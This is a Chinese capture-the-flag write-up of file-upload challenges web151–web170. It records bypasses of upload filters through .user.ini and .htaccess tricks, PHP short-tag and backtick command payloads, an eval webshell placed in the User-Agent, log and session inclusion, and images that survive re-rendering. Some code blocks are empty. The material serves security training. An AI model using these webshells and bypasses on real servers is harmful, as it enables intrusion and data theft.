文件上传
web151
提示:前台校验不可靠
前端校验 上传png格式的图片 抓包修改名称
web152
提示:后端校验要严密
与上一题一样做法
web153
提示:后端校验要严密
1 | auto_prepend_file = <filename> //包含在文件头 |
.user.ini
1 | auto_prepend_file = 1.png |
上传.user.ini也需要抓包
auto_prepend_file = 1.png
这个配置的意思就是在当前目录下的.php 文件包含 1.jpg 这个图片,在此处相当于在 index.php 文件头插入了 require('1.png')
这条语句,也就是说相当于文件包含。
另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。
上传.user.ini与1.png
访问url/upload/index.php
即可使用一句话木马
web154
提示:后端校验要严密
这次上传图片发现也不行 原来是过滤了内容php 可以通过大小写绕过
然后使用一句话木马获取flag
访问url/upload/index.php
然后使用一句话木马获取flag
web155
提示:后端校验要严密
大小写也绕不过去 发现短标签开启了 php中的短标签 太坑人了
1 | echo '123'; //short_open_tags=on |
先上传.user.ini 再上传图片马
访问url/upload/index.php 显示安全连接失败 重开了一下环境 等了一下就行了 所有回显都到了源码里
然后使用一句话木马获取flag
2021/8/19
web156
在上一题的基础上过滤了[]
可以用花括号{}代替
其他步骤和之前一样 先上传.user.ini 再上传图片马
1 |
|
访问url/upload/index.php 还是显示安全连接失败 重开了一下环境 等了一下就行了
然后使用一句话木马获取flag
web157
在上一题的基础上又过滤了{}和;
使用另一种段标签格式
1 | // echo `cat ../f*` =`cat ../f*` |
web158
1 | // echo `cat ../f*` =`cat ../f*` |
web159
payload不能带括号()
1 | =`nl ../flag.ph*` |
web160
首先确认过滤了空格 .user.ini
原来是
1 | auto_prepend_file = 1.png |
现在需要把空格去掉才能上传
1 | auto_prepend_file=1.png |
然后发现反引号也被过滤了
是包含日志
1 | include"/var/lo"."g/nginx/access.lo"."g" = |
访问url/upload/index.php
然后使用一句话木马获取flag
看网上的payload说包含远程文件 远程文件是木马 然后读取flag也可以 由于没有服务器 所以没有实验
web161
增加了文件头的判断
用最简单的GIF89a绕过
先上传.user.ini
1 | GIF89a |
再上传1.png
1 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) eval(@$_POST{'a'}); |
web162
在上一题的基础上又过滤了.
用和web82一样的方法 利用竞争包含session文件
拿过来脚本 先把flag改成test 因为题目限制了flag字符
然后把’upload/index.php’.format(sessID)改成’upload/index.php’
一句话木马改一下
然后手动上传.user.ini
1 | GIF89a |
然后用脚本去上传木马并竞争访问upload/index.php 可以直接读到flag
1 | # -*- coding: utf-8 -*- |
web163
做法与上一题一样
web164
后端进行了二次渲染 ,利用 imagecreatefrompng().
渲染之后会把图片马内的php代码去除
因此我们需要把php代码写入渲染前后都不会发生变化的地方
二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
脚本:
1 |
|
生成了1.png 用winhex打开 可以看到一句话木马为
1 | 0]($_POST[1]); =$_GET[ |
直接前端上传1.png 然后点击查看图片 浏览器里hackbar执行命令然后用bp抓包
直接能包含的原因是后端代码直接包含了图片文件
去查看图片文件 url/upload/xxxxxx.png php代码依然存在
web165
png无法上传了 可以上传jpg
利用jpg二次渲染
二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
1 |
|
自己用各种图片渲染了几小时 都没成功
最后在github找到了现成的可以过二次渲染的图片马
上传之后 访问download.php 抓包命令执行获取flag
web166
jpg和png都无法上传
发现能上传zip文件 然后点下载文件 可以在download.php页面直接命令执行
后端代码里有include
注意:浏览器里hackbar执行命令然后用bp抓包才能命令执行
直接读取文件加post参数不能命令执行
或者用蚁剑直接连接download.php
web167
查看前端代码 可以上传jpg文件
upload下没了php文件 没法利用.user.ini了
发现服务器不是nginx了 变成了apache 想到.htaccess
1 | SetHandler application/x-httpd-php //把所有文件当做php文件解析 |
然后访问url/upload/1.jpg 即可看到flag
web168
前端上传png文件
后端修改文件拓展名为php
不过对php内容进行了过滤 需要用php免杀木马
上传成功后 访问url/upload/1.php 即可利用一句话木马
免杀:
1 |
|
1 |
|
1 |
|
1 |
|
1 | // 使用时请删除此行, 连接密码: TyKPuntU |
web169
前端允许上传zip文件
后端进行了Content-Type的校验 允许上传image/png类型
先上传zip文件 然后抓包修改文件类型和文件名字
但是发现过滤了<>
和php
,可以上传配置文件绕过
先上传.user.ini
然后上传名为1.php的空文件 保证upload文件夹下可以有php文件包含图片 并在UA里写一句话木马
通过浏览器访问发现无法命令执行 用蚁剑连接 需要用命令查看 才能看到真正的flagaa.php
文件管理是看不到的
web170
做法同上一题一样